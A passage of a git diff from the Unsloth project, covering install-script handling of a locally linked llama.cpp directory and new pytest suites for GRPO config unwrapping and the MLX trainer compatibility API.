content; drop it before the ownership check so re-runs stay idempotent + # for a custom UNSLOTH_STUDIO_HOME (the assert would otherwise follow the + # link into the user's dir and reject it as unowned). + [ -L "$LLAMA_CPP_DIR" ] && rm -f "$LLAMA_CPP_DIR" + if [ "$_STUDIO_HOME_IS_CUSTOM" = true ]; then + _assert_studio_owned_or_absent "$LLAMA_CPP_DIR" "llama.cpp install" + fi + rm -rf "$LLAMA_CPP_DIR" + ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR" + _link_local_llama_quantize_shim "$LLAMA_CPP_DIR" + step "llama.cpp" "linked local directory: $_RESOLVED_LOCAL" + _LOCAL_LLAMA_CPP_LINKED=true + _NEED_LLAMA_SOURCE_BUILD=false + _SKIP_PREBUILT_INSTALL=true + fi +fi + +if [ "$_LOCAL_LLAMA_CPP_LINKED" = true ]; then + : # local directory linked above; skip prebuilt install +elif [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then step "llama.cpp" "UNSLOTH_LLAMA_FORCE_COMPILE=1 -- skipping prebuilt" "$C_WARN" _NEED_LLAMA_SOURCE_BUILD=true elif [ "${_SKIP_PREBUILT_INSTALL:-false}" = true ]; then diff --git a/tests/python/test_grpo_ddp_model_config.py b/tests/python/test_grpo_ddp_model_config.py new file mode 100644 index 0000000000..5af31f65b8 --- /dev/null +++ b/tests/python/test_grpo_ddp_model_config.py @@ -0,0 +1,31 @@ +"""GRPO logit-scaling helpers must read config through DDP wrappers.""" + +from __future__ import annotations + +import os + +REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir, os.pardir)) +SOURCE_PATH = os.path.join(REPO_ROOT, "unsloth", "models", "rl_replacements.py") + + +def _read_source() -> str: + with open(SOURCE_PATH, "r") as fh: + return fh.read() + + +def test_grpo_logit_scaling_uses_model_config_helper(): + src = _read_source() + # Helper exists and unwraps DDP/Accelerate wrappers via `.module`. + assert "def _unsloth_get_model_config(model):" in src + assert 'getattr(model.module, "config", None)' in src + # Softcapping takes the model and tolerates a missing config. + assert "logit_softcapping = _unsloth_get_final_logit_softcapping(model)" in src + assert "if config is None:" in src.split("def _unsloth_get_final_logit_softcapping")[1] + # Logit scale/divide read through the unwrapped config, not bare model.config. + assert 'getattr(model_config, "logit_scale", 0)' in src + assert 'getattr(model_config, "logits_scaling", 0)' in src + assert src.count("model_config = _unsloth_get_model_config(model)") >= 2 + # Helper source is injected into the compiled GRPO trainer. + assert "inspect.getsource(_unsloth_get_model_config)" in src + # No direct model.config access remains in the RL logit path. + assert "model.config" not in src diff --git a/tests/python/test_mlx_public_trainer_api.py b/tests/python/test_mlx_public_trainer_api.py new file mode 100644 index 0000000000..2c33f86af1 --- /dev/null +++ b/tests/python/test_mlx_public_trainer_api.py @@ -0,0 +1,1206 @@ +"""Tests for the MLX public trainer compatibility surface.""" + +from __future__ import annotations + +import builtins +import importlib +import importlib.util +import platform +import sys +import types +import warnings + +import pytest + +_MLX_SKIP_REASON = "MLX public trainer API is only active on the MLX backend" + + +def _import_mlx_unsloth(): + """Import unsloth and skip when the current platform is not using MLX.""" + # Skip before importing unsloth so non-MLX hosts missing optional GPU deps + # (e.g. bitsandbytes) skip cleanly instead of erroring at collection. + if not ( + platform.system() == "Darwin" + and platform.machine() == "arm64" + and importlib.util.find_spec("mlx") is not None + ): + pytest.skip(_MLX_SKIP_REASON) + unsloth = importlib.import_module("unsloth") + if getattr(unsloth, "DEVICE_TYPE", None) != "mlx": + pytest.skip(_MLX_SKIP_REASON) + return unsloth + + +class _DummyModel: + """Small model stub that satisfies MLXTrainer constructor probes.""" + + def trainable_parameters(self): + """Return no trainable parameters for constructor-only tests.""" + return {} + + +class _DummyVLMModel(_DummyModel): + """Small VLM model stub for MLX vision trainer constructor probes.""" + + _is_vlm_model = True + + +def test_mlx_exports_unsloth_trainer_api(): + """MLX imports should expose the public Unsloth trainer API.""" + unsloth = _import_mlx_unsloth() + from unsloth import ( + RawTextDataLoader, + TextPreprocessor, + UnslothTrainer, + UnslothTrainingArguments, + clear_gpu_memory, + get_gpu_memory_stats, + ) + + assert RawTextDataLoader is unsloth.RawTextDataLoader + assert TextPreprocessor is unsloth.TextPreprocessor + assert UnslothTrainer is unsloth.UnslothTrainer + assert UnslothTrainingArguments is unsloth.UnslothTrainingArguments + assert get_gpu_memory_stats is unsloth.get_gpu_memory_stats + assert clear_gpu_memory is unsloth.clear_gpu_memory + assert issubclass(UnslothTrainer, unsloth.MLXTrainer) + assert issubclass(UnslothTrainingArguments, unsloth.MLXTrainingConfig) + assert importlib.util.find_spec("unsloth.memory") is None + + +def test_non_mlx_exports_public_trainer_api_when_available(): + """GPU/ROCm imports should keep exporting the public Unsloth trainer API.""" + try: + unsloth = importlib.import_module("unsloth") + except ImportError as exc: + # Non-MLX import pulls the optional GPU stack (numpy/torch/unsloth-zoo, + # bitsandbytes/triton, and _gpu_init can re-raise missing deps as + # ImportError). Skip when any of it is unavailable rather than failing + # collection on CPU/ROCm/XPU review hosts. + pytest.skip(f"non-MLX import dependency unavailable: {exc}") + if getattr(unsloth, "DEVICE_TYPE", None) == "mlx": + pytest.skip("non-MLX export smoke test only runs on GPU/ROCm backends") + + assert unsloth.UnslothTrainer is not None + assert unsloth.UnslothTrainingArguments is not None + assert callable(unsloth.get_gpu_memory_stats) + assert callable(unsloth.clear_gpu_memory) + assert importlib.util.find_spec("unsloth.memory") is None + + +def test_mlx_training_arguments_accept_trl_style_kwargs(): + """TRL/SFTConfig-style kwargs should normalize without breaking MLX config.""" + unsloth = _import_mlx_unsloth() + + with pytest.warns(RuntimeWarning, match = "bf16.*dataset_kwargs"): + args = unsloth.UnslothTrainingArguments( + max_length = 123, + max_steps = 10, + warmup_ratio = 0.2, + remove_unused_columns = False, + dataset_kwargs = {"skip_prepare_dataset": True}, + bf16 = True, + ) + + assert args.max_seq_length == 123 + assert args.warmup_steps == 2 + assert args.remove_unused_columns is False + assert args.dataset_kwargs == {"skip_prepare_dataset": True} + assert args.bf16 is True + assert args.warmup_ratio == 0.2 + assert args._unsloth_mlx_max_seq_length_explicit is False + assert args._unsloth_mlx_warmup_steps_explicit is False + + +def test_mlx_training_arguments_do_not_warn_for_implemented_or_falsey_extras(): + """Implemented and falsey inert compatibility kwargs should stay quiet.""" + unsloth = _import_mlx_unsloth() + + with warnings.catch_warnings(record = True) as caught: + warnings.simplefilter("always") + args = unsloth.UnslothTrainingArguments( + warmup_ratio = 0.2, + max_steps = 10, + padding_free = False, + remove_unused_columns = False, + assistant_only_loss = False, + completion_only_loss = False, + ) + + assert args.warmup_steps == 2 + assert args.padding_free is False + assert args.remove_unused_columns is False + assert args.completion_only_loss is False + assert caught == [] + + +def test_mlx_training_arguments_prefer_canonical_max_seq_length(): + """Canonical MLX config fields should win over compatibility aliases.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments(max_seq_length = 456, max_length = 123) + dict_args = unsloth.UnslothTrainingArguments( + {"max_length": 123, "max_seq_length": 456}, + ) + + assert args.max_seq_length == 456 + assert args.max_length == 456 + assert args._unsloth_mlx_max_length_value == 456 + assert dict_args.max_seq_length == 456 + assert dict_args.max_length == 456 + assert dict_args._unsloth_mlx_max_length_value == 456 + assert args._unsloth_mlx_max_seq_length_explicit is True + assert dict_args._unsloth_mlx_max_seq_length_explicit is True + + +def test_mlx_training_arguments_preserve_explicit_positive_warmup_steps(): + """Explicit warmup_steps should take precedence over warmup_ratio.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments( + max_steps = 10, + warmup_steps = 5, + warmup_ratio = 0.1, + ) + + assert args.warmup_steps == 5 + assert args._unsloth_mlx_warmup_steps_explicit is True + + +def test_mlx_clear_gpu_memory_uses_metal_fallback(monkeypatch): + """Older MLX releases expose cache clearing under mx.metal.clear_cache.""" + unsloth = _import_mlx_unsloth() + import mlx.core as mx + + called = [] + metal = getattr(mx, "metal", None) or type("Metal", (), {})() + monkeypatch.delattr(mx, "clear_cache", raising = False) + monkeypatch.setattr(mx, "metal", metal, raising = False) + monkeypatch.setattr(metal, "clear_cache", lambda: called.append("metal"), raising = False) + + unsloth.clear_gpu_memory() + + assert called == ["metal"] + + +def test_mlx_training_arguments_preserve_explicit_epoch_training(): + """Epoch-based configs should not inherit the MLX max_steps default.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments(num_train_epochs = 1, warmup_ratio = 0.1) + default_args = unsloth.UnslothTrainingArguments() + + assert args.num_train_epochs == 1 + assert args.max_steps == -1 + assert args.warmup_ratio == 0.1 + assert args._unsloth_mlx_warmup_steps_explicit is False + assert default_args.max_steps == unsloth.MLXTrainingConfig.max_steps + + +def test_mlx_training_arguments_keep_mlx_dataset_order_default(): + """Training arguments alone should not override MLX's native data order.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments(max_steps = 1) + explicit_default = unsloth.UnslothTrainingArguments( + max_steps = 1, + dataset_order = "default", + ) + + assert args.dataset_order == "default" + assert args._unsloth_mlx_dataset_order_explicit is False + assert args._unsloth_mlx_max_seq_length_explicit is False + assert explicit_default.dataset_order == "default" + assert explicit_default._unsloth_mlx_dataset_order_explicit is True + + +def test_mlx_training_arguments_warn_on_meaningful_inert_kwargs(): + """Unsupported TrainingArguments knobs should not be silently ignored.""" + unsloth = _import_mlx_unsloth() + + with pytest.warns(RuntimeWarning, match = "push_to_hub.*save_strategy"): + args = unsloth.UnslothTrainingArguments( + save_strategy = "steps", + push_to_hub = True, + padding_free = False, + ) + + assert args.save_strategy == "steps" + assert args.push_to_hub is True + assert args.padding_free is False + + +def test_mlx_training_arguments_reject_unknown_kwargs(): + """Unknown SFTConfig flags should fail instead of becoming inert attributes.""" + unsloth = _import_mlx_unsloth() + + with pytest.raises(NotImplementedError, match = "assistant_only_loss"): + unsloth.UnslothTrainingArguments(assistant_only_loss = True) + + completion_args = unsloth.UnslothTrainingArguments(completion_only_loss = True) + assert completion_args.completion_only_loss is True + + +def test_mlx_training_arguments_reject_unsupported_object_flags(): + """Object-style SFTConfig flags should not be silently dropped.""" + unsloth = _import_mlx_unsloth() + + class ArgsObject: + max_steps = 1 + assistant_only_loss = True + + with pytest.raises(NotImplementedError, match = "assistant_only_loss"): + unsloth._coerce_mlx_training_args(ArgsObject()) + + class CompletionArgsObject: + max_steps = 1 + completion_only_loss = True + + completion_args = unsloth._coerce_mlx_training_args(CompletionArgsObject()) + assert completion_args.completion_only_loss is True + + +def test_mlx_training_arguments_accept_output_dir_positional(): + """A single positional output_dir should match TrainingArguments behavior.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments("custom-outputs", max_steps = 3) + + assert args.output_dir == "custom-outputs" + assert args.max_steps == 3 + + +def test_mlx_training_arguments_normalize_optim_and_object_aliases(): + """Common notebook optimizer names and object aliases should normalize.""" + unsloth = _import_mlx_unsloth() + + class Scheduler: + value = "cosine" + + class ArgsObject: + optim = "adamw_8bit" + eval_steps = None + lr_scheduler_type = Scheduler() + max_length = 321 + max_steps = 10 + num_train_epochs = 3.0 + save_steps = 500 + save_strategy = "no" + warmup_ratio = 0.1 + warmup_steps = 0 + + with pytest.warns(RuntimeWarning, match = "save_strategy"): + args = unsloth._coerce_mlx_training_args(ArgsObject()) + + assert args.optim == "adamw" + assert args.eval_steps == 0 + assert args.lr_scheduler_type == "cosine" + assert args.max_seq_length == 321 + assert args.num_train_epochs == 3 + assert type(args.num_train_epochs) is int + assert args.save_steps == 0 + assert args.warmup_steps == 1 + assert args._unsloth_mlx_warmup_steps_explicit is False + + +def test_mlx_training_arguments_accept_supported_notebook_kwargs(): + """Supported SFT notebooks should be able to pass their current args.""" + unsloth = _import_mlx_unsloth() + + with pytest.warns( + RuntimeWarning, + match = "bf16.*dataset_kwargs.*gradient_checkpointing_kwargs.*save_strategy", + ): + args = unsloth.UnslothTrainingArguments( + bf16 = True, + dataset_kwargs = {"skip_prepare_dataset": True}, + dataset_num_proc = 4, + dataset_text_field = "text", + embedding_learning_rate = 5e-5, + fp16 = False, + gradient_accumulation_steps = 8, + gradient_checkpointing = True, + gradient_checkpointing_kwargs = {"use_reentrant": False}, + learning_rate = 1e-4, + logging_steps = 2, + lr_scheduler_type = "cosine", + max_grad_norm = 0.3, + max_length = 1024, + max_steps = 10, + num_train_epochs = 1, + optim = "paged_adamw_8bit", + output_dir = "outputs", + padding_free = False, + per_device_train_batch_size = 1, + remove_unused_columns = False, + report_to = "none", + save_strategy = "steps", + seed = 123, + warmup_ratio = 0.1, + weight_decay = 0.01, + ) + + assert args.dataset_num_proc == 4 + assert args.dataset_text_field == "text" + assert args.embedding_learning_rate == 5e-5 + assert args.gradient_accumulation_steps == 8 + assert args.gradient_checkpointing is True + assert args.learning_rate == 1e-4 + assert args.logging_steps == 2 + assert args.lr_scheduler_type == "cosine" + assert args.max_grad_norm == 0.3 + assert args.max_seq_length == 1024 + assert args.max_steps == 10 + assert args.num_train_epochs == 1 + assert args.optim == "adamw" + assert args.output_dir == "outputs" + assert args.per_device_train_batch_size == 1 + assert args.report_to == "none" + assert args.seed == 123 + assert args.warmup_ratio == 0.1 + assert args.warmup_steps == 1 + assert args.weight_decay == 0.01 + assert args.dataset_kwargs == {"skip_prepare_dataset": True} + assert args.gradient_checkpointing_kwargs == {"use_reentrant": False} + assert args.save_strategy == "steps" + + +def test_mlx_training_arguments_honor_direct_no_save_strategy(): + """Direct kwargs should map save_strategy=no to save_steps=0.""" + unsloth = _import_mlx_unsloth() + + with pytest.warns(RuntimeWarning, match = "save_strategy"): + args = unsloth.UnslothTrainingArguments( + save_strategy = "no", + save_steps = 500, + ) + + assert args.save_steps == 0 + + +def test_mlx_trainer_accepts_common_sft_kwargs(): + """UnslothTrainer should accept common SFTTrainer kwargs on MLX.""" + unsloth = _import_mlx_unsloth() + + with warnings.catch_warnings(record = True) as caught: + warnings.simplefilter("always") + trainer = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = {"max_steps": 1}, + dataset_num_proc = 8, + max_length = 456, + optim = "adamw_bnb_8bit", + processing_class = object(), + ) + + assert trainer.args.max_steps == 1 + assert trainer.args.dataset_num_proc == 8 + assert trainer.args.max_seq_length == 456 + assert trainer.args.max_grad_norm == 1.0 + assert trainer.args.optim == "adamw" + assert trainer.args.dataset_order == "torch_randperm" + assert trainer._unsloth_mlx_ignored_trainer_kwargs == {} + assert caught == [] + + +def test_mlx_trainer_preserves_explicit_dataset_order(): + """UnslothTrainer should only set torch_randperm when order is implicit.""" + unsloth = _import_mlx_unsloth() + + explicit_default = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + dataset_order = "default", + ), + ) + explicit_sequential = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + dataset_order = "sequential", + ), + ) + implicit_with_override = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1), + dataset_num_proc = 4, + ) + implicit_streaming = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, streaming = True), + ) + explicit_no_clip = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + max_grad_norm = 0.0, + ), + ) + + assert explicit_default.args.dataset_order == "default" + assert explicit_sequential.args.dataset_order == "sequential" + assert implicit_with_override.args.dataset_order == "torch_randperm" + assert implicit_streaming.args.dataset_order == "default" + assert implicit_with_override.args.max_grad_norm == 1.0 + assert explicit_no_clip.args.max_grad_norm == 0.0 + + +def test_mlx_trainer_uses_model_context_length_when_implicit(): + """UnslothTrainer should mirror CUDA's max_length bridge precedence.""" + unsloth = _import_mlx_unsloth() + model = _DummyModel() + model.max_seq_length = 321 + max_length_model = _DummyModel() + max_length_model.max_seq_length = 321 + none_model = _DummyModel() + none_model.max_seq_length = 321 + explicit_seq_model = _DummyModel() + explicit_seq_model.max_seq_length = 321 + clamped_seq_model = _DummyModel() + clamped_seq_model.max_seq_length = 321 + model_max_length = _DummyModel() + model_max_length.max_length = 777 + metadata_model = _DummyModel() + metadata_model.config = type("Config", (), {"max_position_embeddings": 888})() + metadata_tokenizer = type("Tokenizer", (), {"model_max_length": 999})() + explicit_max_length_no_model = _DummyModel() + trainer_override_model = _DummyModel() + trainer_override_model.max_seq_length = 321 + config_override_model = _DummyModel() + config_override_model.max_seq_length = 432 + + implicit = unsloth.UnslothTrainer( + model = model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1), + ) + max_length_args = unsloth.UnslothTrainer( + model = max_length_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, max_length = 123), + ) + none_args = unsloth.UnslothTrainer( + model = none_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = None), + ) + explicit_seq = unsloth.UnslothTrainer( + model = explicit_seq_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = 123), + ) + clamped_seq = unsloth.UnslothTrainer( + model = clamped_seq_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = 654), + ) + model_max_length_only = unsloth.UnslothTrainer( + model = model_max_length, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1), + ) + metadata_ignored = unsloth.UnslothTrainer( + model = metadata_model, + tokenizer = metadata_tokenizer, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1), + ) + explicit_max_length = unsloth.UnslothTrainer( + model = explicit_max_length_no_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, max_length = 123), + ) + trainer_override = unsloth.UnslothTrainer( + model = trainer_override_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1), + max_seq_length = 654, + ) + config_with_override = unsloth.UnslothTrainer( + model = config_override_model, + tokenizer = None, + train_dataset = [], + args = unsloth.MLXTrainingConfig(max_steps = 1), + dataset_num_proc = 4, + ) + + assert implicit.args.max_seq_length == 321 + assert implicit.args.max_length == 321 + assert max_length_args.args.max_seq_length == 321 + assert max_length_args.args.max_length == 321 + assert none_args.args.max_seq_length == 321 + assert none_args.args.max_length == 321 + assert explicit_seq.args.max_seq_length == 123 + assert explicit_seq.args.max_length == 123 + assert clamped_seq.args.max_seq_length == 321 + assert clamped_seq.args.max_length == 321 + assert model_max_length_only.args.max_seq_length == 777 + assert model_max_length_only.args.max_length == 777 + assert metadata_ignored.args.max_seq_length == 1024 + assert metadata_ignored.args.max_length == 1024 + assert explicit_max_length.args.max_seq_length == 123 + assert explicit_max_length.args.max_length == 123 + assert trainer_override.args.max_seq_length == 654 + assert trainer_override.args.max_length == 654 + assert config_with_override.args.max_seq_length == 432 + assert config_with_override.args.max_length == 432 + + +def test_mlx_trainer_processing_class_overrides_explicit_none_tokenizer(): + """TRL passes tokenizer=None while processing_class carries the tokenizer.""" + unsloth = _import_mlx_unsloth() + tokenizer = object() + + class Processor: + pass + + processor = Processor() + processor.tokenizer = tokenizer + + trainer = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = {"max_steps": 1}, + processing_class = processor, + ) + + assert trainer.processor is processor + assert trainer.tokenizer is tokenizer + + +def test_mlx_trainer_vision_collator_processor_overrides_processing_class(): + """Vision notebooks pass the tokenizer as processing_class and processor in collator.""" + unsloth = _import_mlx_unsloth() + tokenizer = object() + + class Processor: + pass + + processor = Processor() + processor.tokenizer = tokenizer + collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), processor) + + trainer = unsloth.UnslothTrainer( + model = _DummyVLMModel(), + tokenizer = None, + train_dataset = [], + args = {"max_steps": 1}, + processing_class = tokenizer, + data_collator = collator, + ) + + assert trainer.processor is processor + assert trainer.tokenizer is tokenizer + + +def test_mlx_trainer_preserves_explicit_processor_over_vision_collator(): + """Explicit processor kwargs should stay authoritative over collator metadata.""" + unsloth = _import_mlx_unsloth() + tokenizer = object() + explicit_processor = object() + + class Processor: + pass + + collator_processor = Processor() + collator_processor.tokenizer = tokenizer + collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), collator_processor) + + trainer = unsloth.UnslothTrainer( + model = _DummyVLMModel(), + tokenizer = None, + train_dataset = [], + args = {"max_steps": 1}, + processor = explicit_processor, + processing_class = tokenizer, + data_collator = collator, + ) + + assert trainer.processor is explicit_processor + assert trainer.tokenizer is tokenizer + + +def test_mlx_trainer_forwards_vision_collator_positional_defaults(): + """Vision collator CUDA-style positionals should route into MLX args.""" + unsloth = _import_mlx_unsloth() + collator = unsloth.UnslothVisionDataCollator( + _DummyVLMModel(), + object(), + 2048, + None, + "max", + -100, + False, + None, + None, + True, + None, + False, + ) + + trainer = unsloth.UnslothTrainer( + model = _DummyVLMModel(), + tokenizer = None, + train_dataset = [], + args = {"max_steps": 1}, + data_collator = collator, + ) + + assert trainer.args.max_seq_length == 2048 + assert trainer.args.image_size == "max" + assert trainer.args.completion_only_loss is False + + +def test_mlx_vision_collator_default_does_not_override_explicit_args(): + """Implicit collator defaults should not override explicit trainer args.""" + unsloth = _import_mlx_unsloth() + collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), object()) + + trainer = unsloth.UnslothTrainer( + model = _DummyVLMModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + completion_only_loss = False, + ), + data_collator = collator, + ) + + assert trainer.args.completion_only_loss is False + + +def test_mlx_trainer_rejects_unsafe_unsupported_sft_kwargs(): + """Unsupported kwargs that change training semantics should fail on MLX.""" + unsloth = _import_mlx_unsloth() + + with pytest.raises(NotImplementedError, match = "peft_config"): + unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + peft_config = object(), + ) + + +def test_mlx_trainer_rejects_metrics_and_callbacks(): + """Trainer hooks should fail because MLXTrainer cannot honor them yet.""" + unsloth = _import_mlx_unsloth() + + with pytest.raises(NotImplementedError, match = "callbacks"): + unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + callbacks = [object()], + ) + with pytest.raises(NotImplementedError, match = "compute_metrics"): + unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + compute_metrics = lambda *_: None, + ) + + +def test_mlx_trainer_rejects_custom_data_collator(): + """MLXTrainer owns batching; custom SFT data collators must not be ignored.""" + unsloth = _import_mlx_unsloth() + + with pytest.raises(NotImplementedError, match = "data_collator"): + unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + data_collator = object(), + ) + + +def test_mlx_trainer_rejects_text_completion_only_loss(): + """Text MLX training should not silently ignore completion_only_loss=True.""" + unsloth = _import_mlx_unsloth() + + with pytest.raises(NotImplementedError, match = "completion_only_loss=True"): + unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + completion_only_loss = True, + ), + ) + + +def test_mlx_trainer_allows_vlm_completion_only_loss(): + """VLM MLX training supports completion_only_loss during collation.""" + unsloth = _import_mlx_unsloth() + + class VLMModel(_DummyModel): + _is_vlm_model = True + + trainer = unsloth.UnslothTrainer( + model = VLMModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + completion_only_loss = True, + ), + ) + + assert trainer.args.completion_only_loss is True + + +def test_mlx_trainer_accepts_trl_style_positional_args(): + """TRL-style positional `(model, args, ...)` should not be read as tokenizer.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments("trl-outputs", max_steps = 2) + trainer = unsloth.UnslothTrainer( + _DummyModel(), + args, + train_dataset = [], + tokenizer = None, + ) + + assert trainer.args is args + assert trainer.args.output_dir == "trl-outputs" + assert trainer.train_dataset == [] + + +def test_mlx_trainer_accepts_trl_none_placeholder_positionals(): + """Explicit TRL default placeholders should preserve later positional args.""" + unsloth = _import_mlx_unsloth() + dataset = [{"text": "hello"}] + processing_class = object() + + trainer = unsloth.UnslothTrainer( + _DummyModel(), + None, + None, + dataset, + None, + processing_class, + ) + + assert getattr(trainer.train_dataset, "_dataset", trainer.train_dataset) is dataset + assert getattr(trainer, "_mlx_train_dataset_for_batches", dataset) is dataset + assert trainer.tokenizer is processing_class + assert trainer.args.max_steps == 60 + + +def test_mlx_trainer_accepts_short_trl_none_placeholder_positionals(): + """Short TRL placeholder calls should keep the fourth arg as train_dataset.""" + unsloth = _import_mlx_unsloth() + dataset = [{"text": "hello"}] + + trainer = unsloth.UnslothTrainer( + _DummyModel(), + None, + None, + dataset, + ) + + assert trainer.train_dataset is dataset + assert trainer.eval_dataset is None + assert trainer.args.max_steps == 60 + + +def test_mlx_trainer_accepts_short_trl_placeholders_with_keyword_dataset(): + """Short TRL placeholders should not conflict with keyword train_dataset.""" + unsloth = _import_mlx_unsloth() + dataset = [{"text": "hello"}] + + trainer = unsloth.UnslothTrainer( + _DummyModel(), + None, + None, + train_dataset = dataset, + ) + + assert trainer.train_dataset is dataset + assert trainer.eval_dataset is None + assert trainer.args.max_steps == 60 + + +def test_mlx_trainer_preserves_mlx_positional_schema_with_none_tokenizer(): + """MLX-style `(model, tokenizer, train_dataset, ...)` should still work.""" + unsloth = _import_mlx_unsloth() + dataset = [{"text": "hello"}] + + trainer = unsloth.UnslothTrainer( + _DummyModel(), + None, + dataset, + None, + ) + + assert trainer.tokenizer is None + assert trainer.train_dataset is dataset + assert trainer.eval_dataset is None + + +def test_mlx_compatibility_shims_are_installed(): + """Old notebook imports should resolve to the MLX public API after unsloth import.""" + unsloth = _import_mlx_unsloth() + + trl = importlib.import_module("trl") + trainer_module = importlib.import_module("unsloth.trainer") + chat_templates = importlib.import_module("unsloth.chat_templates") + dataset_utils = importlib.import_module("unsloth_zoo.dataset_utils") + + assert importlib.util.find_spec("trl") is not None + assert importlib.util.find_spec("unsloth.trainer") is not None + assert unsloth.trainer is trainer_module + assert unsloth.chat_templates is chat_templates + assert trl.SFTTrainer is unsloth.UnslothTrainer + assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments) + assert trainer_module.UnslothTrainer is unsloth.UnslothTrainer + assert trainer_module.UnslothVisionDataCollator is unsloth.UnslothVisionDataCollator + assert chat_templates.train_on_responses_only is dataset_utils.train_on_responses_only + assert callable(unsloth.train_on_responses_only) + + +def test_mlx_trl_shim_preserves_existing_trl_module(monkeypatch): + """The MLX TRL shim should patch, not replace, an already-loaded TRL module.""" + unsloth = _import_mlx_unsloth() + trl = types.ModuleType("trl") + trl.__path__ = ["real-trainer-package"] + trl.existing_marker = object() + trl.ExistingExport = object() + trl.__all__ = ["ExistingExport", "BrokenExport"] + + def _raise_for_broken_export(name): + if name == "BrokenExport": + raise RuntimeError("optional dependency missing") + raise AttributeError(name) + + trl.__getattr__ = _raise_for_broken_export + monkeypatch.setitem(sys.modules, "trl", trl) + + unsloth._install_mlx_trl_sft_shim() + + assert sys.modules["trl"] is trl + assert trl.__path__ == ["real-trainer-package"] + assert trl.SFTTrainer is unsloth.UnslothTrainer + assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments) + assert trl.__UNSLOTH_MLX_COMPAT__ is True + assert "ExistingExport" in trl.__all__ + assert "BrokenExport" not in trl.__all__ + assert "SFTTrainer" in trl.__all__ + assert "SFTConfig" in trl.__all__ + + +def test_mlx_trl_shim_installs_real_trl_or_stub(monkeypatch): + """The MLX TRL shim should prefer real TRL and stub only if unavailable.""" + unsloth = _import_mlx_unsloth() + monkeypatch.delitem(sys.modules, "trl", raising = False) + real_trl_available = importlib.util.find_spec("trl") is not None + + unsloth._install_mlx_trl_sft_shim() + trl = importlib.import_module("trl") + + if real_trl_available: + assert trl.__version__ != "0.0.0+unsloth-mlx" + else: + assert trl.__version__ == "0.0.0+unsloth-mlx" + assert trl.SFTTrainer is unsloth.UnslothTrainer + assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments) + assert trl.__UNSLOTH_MLX_COMPAT__ is True + + +def test_mlx_trl_star_import_exports_public_shims(): + """Existing `from trl import *` callers should receive MLX SFT shims.""" + unsloth = _import_mlx_unsloth() + namespace = {} + + exec("from trl import *", namespace) + + assert namespace["SFTTrainer"] is unsloth.UnslothTrainer + assert issubclass(namespace["SFTConfig"], unsloth.UnslothTrainingArguments) + + +def test_mlx_rl_trainers_stub_with_clear_error(monkeypatch): + """GRPO/DPO/ORPO trainers have no MLX path, so the shim retargets the ones trl + exposes to a clear NotImplementedError instead of a confusing CUDA crash, and + never invents trainers trl does not have.""" + unsloth = _import_mlx_unsloth() + trl = types.ModuleType("trl") + trl.__path__ = ["real-trainer-package"] + + class _RealTrainer: + def __init__(self, *args, **kwargs): + raise AssertionError("the real torch/CUDA trainer must not run on MLX") + + trl.GRPOTrainer = _RealTrainer + trl.DPOTrainer = _RealTrainer + monkeypatch.setitem(sys.modules, "trl", trl) + + unsloth._install_mlx_trl_sft_shim() + + for name in ("GRPOTrainer", "DPOTrainer"): + assert getattr(trl, name) is not _RealTrainer + with pytest.raises(NotImplementedError) as exc: + getattr(trl, name)(model = None, args = None) + assert "MLX" in str(exc.value) and name in str(exc.value) + # trainers trl never exposed must not be invented + assert not hasattr(trl, "PPOTrainer") + # idempotent: 